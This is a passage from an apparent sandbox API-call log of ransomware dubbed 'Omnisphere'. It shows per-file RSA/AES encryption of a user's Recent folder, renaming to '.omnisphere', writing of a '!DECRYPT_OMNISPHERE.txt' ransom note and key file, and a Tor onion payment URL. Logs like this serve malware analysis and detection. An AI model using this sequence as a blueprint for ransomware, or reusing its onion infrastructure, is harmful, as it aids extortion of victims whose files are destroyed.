dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.932] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.933] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.933] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.933] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.933] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.933] CryptDestroyKey (hKey=0x1639868) returned 1 [0118.933] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0118.933] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x40d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.933] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.933] GetProcessHeap () returned 0x1600000 [0118.933] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16af868 [0118.933] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\388f.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\388f.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\388f.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\388f.lnk.omnisphere")) returned 1 [0118.937] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\388f.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\388f.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\388f.lnk.omnisphere.id" [0118.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\388f.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\388f.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.937] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.938] CloseHandle (hObject=0x3c0) returned 1 [0118.939] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.940] CloseHandle (hObject=0x288) returned 1 [0118.940] SetEndOfFile (hFile=0x28c) returned 1 [0118.940] FlushFileBuffers (hFile=0x28c) returned 1 [0118.948] CloseHandle (hObject=0x28c) returned 1 [0118.948] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\388f.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.948] GetProcessHeap () returned 0x1600000 [0118.948] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16afb18 [0118.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.948] GetProcessHeap () returned 0x1600000 [0118.948] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693e68 [0118.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693e68, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.949] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.949] GetProcessHeap () returned 0x1600000 [0118.949] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686e08 [0118.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686e08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.949] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.949] GetProcessHeap () returned 0x1600000 [0118.949] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2478 [0118.949] PathCombineW (in: pszDest=0x16a2478, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.949] GetProcessHeap () returned 0x1600000 [0118.949] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a3ff0 [0118.949] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.949] WriteFile (in: hFile=0x28c, lpBuffer=0x16a3ff0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a3ff0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.949] CloseHandle (hObject=0x28c) returned 1 [0118.949] GetProcessHeap () returned 0x1600000 [0118.949] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16afb18 | out: hHeap=0x1600000) returned 1 [0118.950] GetProcessHeap () returned 0x1600000 [0118.950] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.950] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.950] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.950] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.950] CloseHandle (hObject=0x28c) returned 1 [0118.950] GetProcessHeap () returned 0x1600000 [0118.950] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.950] GetProcessHeap () returned 0x1600000 [0118.950] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e0e8 | out: hHeap=0x1600000) returned 1 [0118.950] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c067aa, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22c067aa, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22c21b69, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0xd3, cFileName="39aQ.lnk", cAlternateFileName="")) returned 1 [0118.950] GetProcessHeap () returned 0x1600000 [0118.950] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x165e868 [0118.950] PathCombineW (in: pszDest=0x165e868, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="39aQ.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\39aQ.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\39aQ.lnk" [0118.950] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.950] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\39aQ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\39aq.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.951] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1086) returned 1 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.951] GetTickCount () returned 0x115db97 [0118.952] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668bd0) returned 1 [0118.952] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0118.952] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.953] CryptDestroyKey (hKey=0x16395e8) returned 1 [0118.953] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0118.953] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x43e, lpName=0x0) returned 0x288 [0118.953] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x43e) returned 0x1480000 [0118.953] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0118.953] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0118.953] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.953] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.954] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 